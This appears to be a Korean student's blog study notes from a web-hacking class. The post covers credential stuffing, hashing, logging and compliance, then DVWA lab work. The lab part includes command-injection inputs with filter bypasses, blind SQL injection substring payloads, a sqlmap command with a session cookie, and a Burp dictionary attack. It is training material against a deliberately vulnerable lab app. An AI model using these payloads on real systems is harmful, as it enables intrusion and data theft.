* 오늘의 일정
- OWASP top 10 오전중 마무리
- DVWA 실습
* Credential Stuffing
- 여러군데 회원가입을 하다보니, ID/PW가 동일함
- 약한 사이트의 사이트를 해킹(Web shell, RAT업로드, WebDAV업로드, SQL인젝션 등)해서 고객DB확보--->ID/PW
- 다른 사이트에 넣어봄 (홈X러스, 항공마일리지, 금융권, 포털, SNS 등)
- 2021년 통계에 의하면 가장 심각한 해킹 유형
- 대응 방법 : 사이트마다 패스워드를 조금씩 다르게 해야 함
EX) 카톡이 털리면 지인들에게 돈 빌려달라는 메시지 보냄 ----> 피싱으로 연결
정기적으로 비밀번호를 교체
EX)스마트폰에 패스워드가 저장되어 있어서 로그인이 되어있는 상태 ---->편리함 ( 보안의 적 )
* 기본생각 : 해킹은 이미 당했다 --->어디를 해킹당했는지를 찾는 것
개인정보는 이미 다 털렸다 --->어떻게 수습할 것인가?
* 게임사이트 , SNS계정 ----->이메일로 본인 확인하는 절차 ---> 이메일이 털리면? 본인 확인을 공격자가 함
* 계정이 털리게 된 원인
- 취약한 본인 확인 절차 ( 크리덴셜 스터핑 등 )
- 쉬운 패스워드
- 패스워드 변경 시도 ( SQL인젝션 등 )
* 특히, 포털사이트의 PW는 다른 것으로 사용
금융권은 PW를 다른 것 (강력한) 으로 사용
한글로 생각을 하고 영타로 입력하는 방식 --->일부러 맞춤법에 맞지 않게 ( 외국사람이 예상하기 어려운 )
ex) ㅁ,ㄴ,ㅇ,ㄹ,ㅎ, 은 쉬프트(쌍자음) 이 없음 --->눌러서 사용 등
*무결성(integrity) <---반대말---> 변조( 내용을 바꾸는 것 )
원문 : " 12시에 만나요 브라보콘 "
변조 : " 2시에 만나요 브라보콘 " (1자 한개 삭제했는데 약속 시간이 달라져서 계약을 망치거나 함)
cf) 계약서에 이상한 내용이 들어있으면?? 다 뒤집어 씀..
--------> 나한테 메일로 보냈던 파일과 지금 그들이 출력해온 계약서가 같을까? ( 사기꾼이면 다름 ) : 해시값으로 확인
*해시값의 특징 : 원문이 1bit라도 달라지면 다른 해시값이 나옴 ---> 변조되었는지를 알 수 있음
------------------------------------------------------------------------------------------------------------------------------------------------
A09 로깅과 모니터링
ex) 게임회사 서버 : 한 회사에 800대 + 클라우드에 5000대 -----> 6000대에서 나오는 로그의 양 엄청남
ex) 쇼핑몰 서버 : 수백대 ~ 수천대 트래픽 양도 엄청나게 많음 -----> 확인???
----->로그를 보는 비용도 상당함
ex) 24시간 교대근무 : 주/야/비/비 --->최소 5명 이상
6시간 : 6~12 , 12~18, 18~24. 00~06
--->취업이 쉽고, 실전 경험을 쌓을 수 있음
*컴플라이언스(compliance) : 법과 규제
컴플라이언스를 지키는 비용 : 컨설팅 비용, 아웃소싱 비용, 구입비, 인증심사 비용, 예상치 못한 비용 등등
컴플라이언스를 지키는 비용 < 컴플라이언스를 지키지 않았을때의 비용 ( 벌금, 과태료, 집단민사소송, 해커들의 돈 요구, 기업 이미지 손상 )
ex) 인X파크 해킹사건 ( 2016 ) --------------> 44억 8,000만원의 과징금과 2,500만원의 과태료를 부과
실습) DVWA 문제 풀기
* Command Injection
- 리눅스 명령어를 실행시키는 것이 목적 ( 리눅스 명령어 : pwd, ls, ls -al, whoami, who, w, ps -ef, cat /etc/passwd 등등)
- 목적 : Ping을 실행하는 사이트에서 어떻게 하면 리눅스 명령어를 실행할 수 있을까?
방법은 여러가지가 있지만 나는 세미콜론을 이용해서 두개의 명령을 실행시켰다
192.168.0.2 ; whoami 입력
www-data 라는 이름을 쓰고있나보다
실습 )
자 이제 Medium 으로 가보자!
뷰 소스를 보니까 &&와 ; 를 공백으로 치환시키는 무언가가 걸려있는 것 같다.
역시 Medium으로 넘어오니까 난이도가 올라간다
강사님이 여러가지 방법이 있다고 하셨는데
나는 | 버티컬바를 사용했다.
그런데 이건 좋은 파훼법은 아닌거같긴하다 ㅋㅋ , 뭐를 막아놨는지 알기가 쉽지않을거고 버티컬바도 막아버리면 끝이니까
지난번에 SQL인젝션에서 했던것처럼 문자를 코드로 치환시켜서 하는것도 생각해봤는데
지금보니 코드가 &와;로 이루어져 있어서 꽝이다 ㅋㅋㅋㅋ
당황스럽게도 내가 푼 방법이 맞았당.
밑에 & 3개 쓰는방법도 참고.
그런데 어차피 &&는 치환되니까 &하나만 사용하면 될거같다.
버티컬바 2개 || 를 이용하는 방법!
실습 )
High로 고고
하이는 걍 개빡센데 강사님이 절대 못할거라고 해봤지만 일단 츄라이
결국 못풀었다~ㅋ
(그런데 이런식이면 그냥 숨은 그림 찾기나 다를게 없지 않나?... , 다른문제의 난이도 변화와는 사뭇 다른거같다...)
사실상 치환방법의 단점을 알려주는 사례일뿐 파훼방법의 난이도는 올라가지 않은거같다.
----------------------------------------------------------------------------------------------------------------------------------------------
실습 )
SQL 인젝션 ( 블라인드 )
지난번 SQL 인젝션과 다르게 어떠한 숫자를 넣으면 DB에 그 Id가 있는지 없는지만 알려준다.
substring() : 단어의 알파벳에 대한 정보를 확인할 수 있음
information_schema.columns ( DB명.테이블명 ) 에서 table_schema ( DB이름을 저장한 컬럼 )
(사실 잘 이해못함)
우선 실습을 따라해보자
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'a' #
a를 넣었을때 모습
d를 넣었을때 모습
사실 난 db명이 DVWA인걸 아니까 바로 D를 넣었지만 원래 일일이 대입 해봐야한다
* 두번째 글자를 알아내는법?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 2,1) = 'a' #
* 세번째 글자를 알아내는법?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 3,1) = 'a' #
* 네번째 글자를 알아내는법?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 4,1) = 'a' #
*한꺼번에 물어보려면?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,4) = 'dvwa' #
----------------> dvwa 라는 DB명을 알 수 있음!
아마 사람이 직접 하기는 힘들거같고 매크로를 돌리는 방식으로 할 것 같다.
-------------------------------------------------------------------------------------------------------------
* 테이블의 이름 알아내기
----------------->> guestbook //방명록 말고 우리가 찾는것은 고객 정보가 들어있는 테이블!!
* 새로운 문제
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 5,1),1,1) = 'l'; #
* 자동화된 도구를 사용 ( 사람이 일일이 물어보기 귀찮음....)
---------------------------------------------------------------------------------------------------------------------------------------------------------------
실습준비 )
- 칼리 리눅스 on
- 로그인 : kali/kali
- 터미널 열고,
$ sudo sqlmap -h
URL : http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#
쿠키값 : 6hoho5u4a8dfm7a4r8fl60ssv7
sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=6hoho5u4a8dfm7a4r8fl60ssv7" --dbs
3개의 DB 이름을 알아내었다.
Hashs.com 에 갈 필요도 없이 해시값을 다 번역해준다;
---------------------------------------------------------------------------------------------------------------------------------------------------------------
* Brute Force Attack
- Brute ( 무식한, 야수의, 머리를 사용하지 않고 힘만 이용하는 )
- 전수 대입법 : 가능한 모든 경우의 수를 대입한다는 의미
ex) 숫자 4자리 : 0000~9999, 알파벳 4자리 : AAAA~zzzz
- 장점 : 언젠가는 결과가 나오기는 함 ( 성공확률 99%)
- 단점 : 시간이 너무 오래걸림
- 대응방법 : 시간이 완전히 오래걸리게 하면 됨 ( 에를 들어, 인간의 수명보다 길면 못깨는 것 )
*Dictionary Attack
- Brute Forec Attack이 시간이 너무 많이 걸리기 때문에, 자주 사용하는 패스워드를 대입하는 방법
- 자주 사용하는 단어를 모아놓은 파일을 Dictionary 라고 함
실습준비 )
- Burp Suite 를 켜고
- 인터넷 옵션에 들어가서 proxy 설정합니다.
강사님은 길이가 다른게 하나 나왔는데 나는 아무리 존버해도 안나온다...
+ 끝나고 다시 해보니까 떳다 ㅋㅋ
비밀번호는 letmein~
'공부 > Application Security' 카테고리의 다른 글
9월14일 웹해킹 7 (0) | 2022.09.14 |
---|---|
9월 8일 웹해킹 5 (0) | 2022.09.08 |
9월7일 웹해킹 4 (0) | 2022.09.07 |
9월6일 웹해킹 3 (0) | 2022.09.06 |
9월 5일 웹해킹 2 (0) | 2022.09.05 |